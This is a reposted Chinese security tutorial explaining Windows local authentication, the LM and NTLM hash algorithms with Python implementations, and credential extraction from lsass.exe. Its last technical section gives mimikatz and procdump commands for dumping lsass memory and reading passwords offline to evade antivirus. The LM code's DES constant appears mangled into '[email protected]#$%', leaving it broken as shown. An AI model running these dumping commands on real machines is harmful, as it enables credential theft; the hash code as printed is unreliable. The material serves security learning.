由Windows本地认证到Hash抓取

  • A+
所属分类:安全文章

更多全球网络安全资讯尽在邑安全

仅记录学习笔记,参考网上各位前辈的文章讲解加上个人理解。如有错误,请及时提醒,以免误导他人。

Windows本地登陆密码储存在位于%SystemRoot%system32config目录的SAM文件中,存储内容为密码的hash值。当用户输入密码时,Windows先将用户的输入通过算法加密再与SAM文件存储的数据对比,一致则认证成功。

由Windows本地认证到Hash抓取

Windows所使用的密码hash有两种,LM HashNTLM hash

0x01 LM Hash

LM 全称LAN Manager ,LM hash作为Windows使用较早的认证协议,现已基本淘汰,仅存在于较老的系统中,如Windows XP、Windows 2000、Windows 2003这一类。

LM hash算法如下:

  • 将密码转换为大写,并转换为16进制字符串。

  • 密码不足28位,用0在右边补全。

  • 28位的密码被分成两个14位部分,每部分分别转换成比特流,并且长度为56位,长度不足用0在左边补齐长度。

  • 两组分别再分7位一组末尾加0,再组合成一段新的字符,再转为16进制。

  • 两组16进制数,分别作为DES key,并为[email protected]#$%进行加密。

  • 将两组DES加密后的编码拼接,得到LM HASH值。

Python3实现LM hash算法:

import binascii
import codecs
from pyDes import *


def DesEncrypt(str, Key):
k = des(Key, ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)


def ZeroPadding(str):
b = []
l = len(str)
num = 0
for n in range(l):
if (num < 8) and n % 7 == 0:
b.append(str[n:n + 7] + '0')
num = num + 1
return ''.join(b)


if __name__ == "__main__":
passwd = sys.argv[1]
print('你的输入是:', passwd)
print('转化为大写:', passwd.upper())

# 用户的密码转换为大写,并转换为16进制字符串
passwd = codecs.encode(passwd.upper().encode(), 'hex_codec')
print('转为hex:', passwd.decode())

# 密码不足28位,用0在右边补全
passwd_len = len(passwd)
if passwd_len < 28:
passwd = passwd.decode().ljust(28, '0')
print('补齐28位:', passwd)

# 28位的密码被分成两个14位部分
PartOne = passwd[0:14]
PartTwo = passwd[14:]
print('两组14位的部分:', PartOne, PartTwo)

# 每部分分别转换成比特流,并且长度为56位,长度不足用0在左边补齐长度
PartOne = bin(int(PartOne, 16)).lstrip('0b').rjust(56, '0')
PartTwo = bin(int(PartTwo, 16)).lstrip('0b').rjust(56, '0')
print('两组56位比特流:', PartOne, PartTwo)

# 两组分别再分为7位一组末尾加0,再分别组合成新的字符
PartOne = ZeroPadding(PartOne)
PartTwo = ZeroPadding(PartTwo)
print('两组再7位一组末尾加0:', PartOne, PartTwo)

# 两组数据转hex
PartOne = hex(int(PartOne, 2))[2:]
PartTwo = hex(int(PartTwo, 2))[2:]
if '0' == PartTwo:
PartTwo = "0000000000000000"
print('两组转为hex:', PartOne, PartTwo)

# 16位的二组数据,分别作为DES key为"[email protected]#$%"进行加密。
LMOne = DesEncrypt("[email protected]#$%", binascii.a2b_hex(PartOne)).decode()
LMTwo = DesEncrypt("[email protected]#$%", binascii.a2b_hex(PartTwo)).decode()
print('两组DES加密结果:', LMOne, LMTwo)

# 将二组DES加密后的编码拼接,得到LM HASH值。
LM = LMOne + LMTwo
print('LM hash:', LM)

代码参考:https://xz.aliyun.com/t/2445

当密码为123ABC123456时如下:

由Windows本地认证到Hash抓取

LM Hash的缺陷在于:

  • 密码不区分大小写。

  • 密码长度最大只能为14个字符。

  • 根据以上的图,可以发现当我们的密码不超过7位时,生成的LM hash后面的一半是固定的为aad3b435b51404ee,也就是说通过观察LM hash,够判断用户的密码是否是大于等于7位

  • 哈希值没有加盐就进行验证,这使其容易受到中间人的攻击,例如哈希传递,还允许构建彩虹表。

0x02 NTLM Hash

NTLM全称NT LAN Manager, 目前Windows基本都使用NTLM hash

NTLM hash算法如下:

  • 将用户输入转为16进制

  • 再经Unicode编码

  • 再调用MD4加密算法

Python2实现NTLM hash算法:

# coding=utf-8

import codecs
import sys

from Crypto.Hash import MD4


def UnicodeEncode(str):
b = []
l = int(len(str) / 2)
for i in range(l):
b.append((str[i * 2:2 * i + 2]) + '00')
return ''.join(b)


def Md4Encode(str):
h = MD4.new()
h.update(str.decode('hex'))
return h.hexdigest()


if __name__ == '__main__':
passwd = sys.argv[1]
print('Input: ' + passwd)

# 转hex
passwd = codecs.encode(passwd.encode(), 'hex_codec').decode()
print('Hex: ' + passwd)

# 转Unicode
passwd = UnicodeEncode(passwd)
print('Unicode: ' + passwd)

# 转md4
NTLMhash = Md4Encode(passwd)
print('NTLMhash: ' + NTLMhash)

后来在篇文章上发现了更简单的代码表现:

见https://www.anquanke.com/post/id/193149#h3-3

import hashlib,binascii,sys

print binascii.hexlify(hashlib.new("md4", sys.argv[1].encode("utf-16le")).digest())

例如adminNTLM hash后存储的值便是209c6174da490caeb422f3fa5a7ae634

由Windows本地认证到Hash抓取

NTLM Hash在算法上比LM Hash安全性更高一些。

0x03 本地认证流程

简洁的描述一下大致流程,当然实际上会复杂很多。

用户通过winlogon.exe输入密码,lsass.exe进程接收密码明文后,会存在内存之中并将其加密成NTLM hash,再对SAM存储数据进行比较认证。

graph TD
A[winlogon.exe]-->B(User input)
B-->C[lsass.exe]-->D{转为NTLM hash与SAM文件对比}
D-->|相等|E(认证成功)
D-->|不相等|F(认证失败)

由Windows本地认证到Hash抓取

0x04 Procdump+Mimikatz读取密码Hash

介绍完windows本地认证机制,可以发现在 lsass.exe进程中是会存在有明文密码的,于是可以直接使用mimikatz读取,但是这样通常会被拦截

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

由Windows本地认证到Hash抓取

所以可以利用工具procdumplsass.exe dump出来,拉到没有杀软的机器里面使用mimikatz读取密码。

procdump64.exe -accepteula -ma lsass.exe lsass.dump

由Windows本地认证到Hash抓取

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

由Windows本地认证到Hash抓取

0x05 总结

这里重点讲了LM hashNTLM hash的算法,然后简略介绍通过Mimikatzhash的抓取,可能会有错误,多包涵,共同进步。

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

由Windows本地认证到Hash抓取

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 




发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: